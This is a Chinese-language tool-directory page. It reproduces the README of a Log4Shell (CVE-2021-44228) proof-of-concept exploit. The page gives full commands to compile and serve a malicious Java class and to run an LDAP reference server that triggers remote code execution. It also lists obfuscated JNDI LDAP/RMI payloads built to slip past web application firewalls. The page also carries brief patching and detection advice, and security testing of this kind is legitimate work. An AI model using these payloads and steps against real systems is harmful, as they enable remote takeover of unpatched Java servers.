Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228-Apache-Log4j-Rce-main — CVE-2021-44228(Log4Shell)的概念验证漏洞利用,包含 JNDI LDAP/RMI 注入、载荷编译以及用于测试 Log4j RCE 漏洞的 WAF 绕过技术。 | Kitploit
工具/GitHubGitHub/ravid-checkmarx/cve-2021-44228-apache-log4j-rce-main
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过渗透测试远程访问工具
GitHubravid-checkmarx/cve-2021-44228-apache-log4j-rce-main

CVE-2021-44228-Apache-Log4j-Rce-main

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228(Log4Shell)的概念验证漏洞利用,包含 JNDI LDAP/RMI 注入、载荷编译以及用于测试 Log4j RCE 漏洞的 WAF 绕过技术。

查看仓库
54年前尚未审核

CVE-2021-44228(Apache Log4j 远程代码执行)

所有 log4j-core 版本 >=2.0-beta9 且 <=2.14.1

1.x 版本存在其他漏洞,我们建议您更新到最新版本。

与 Log4Shell (CVE-2021-44228) 相关的安全公告 / 安全通告

用法:

下载此项目,编译漏洞利用代码 blob/master/src/main/java/Exploit.java,并启动一个允许下载编译后二进制的 Web 服务器。

root@kitploit:~
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce

javac Exploit.java

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888

# make sure python webserver is running the same directory as Exploit.class, to test
  curl -I 127.0.0.1:8888/Exploit.class

下载另一个项目并运行 返回 JNDI 引用的 LDAP 服务器实现* https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

构建并运行触发代码(模拟对存在漏洞的 Java Web 服务器发起 log4j 攻击)blob/master/src/main/java/log4j.java,然后你的计算器应用就会弹出。

root@kitploit:~
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j

# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
#  Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -


提示:

不要指望当前的 Java 版本能救你。请更新 Log4(或移除 JNDI 查找)。禁用扩展(不管怎样,这似乎都不是个好主意)。

绕过 rc1

例如:

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/ badClassName}

绕过 WAF

root@kitploit:~
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

不要相信 Web 应用防火墙。

漏洞详情

Lookups 提供了一种在任意位置向 Log4j 配置添加值的方式。

Lookups

在 finally 中导致信息泄露的方法

root@kitploit:~
LogManager.getLogger().error()
LogManager.getLogger().fatal()

简单检测方法

如果你想进行黑盒测试,我建议你进行被动扫描。

BurpLog4jScan

玩得开心!!! BurpLog4jScan.png

随时间变化的 Star 数量

Stargazers over time

下载工具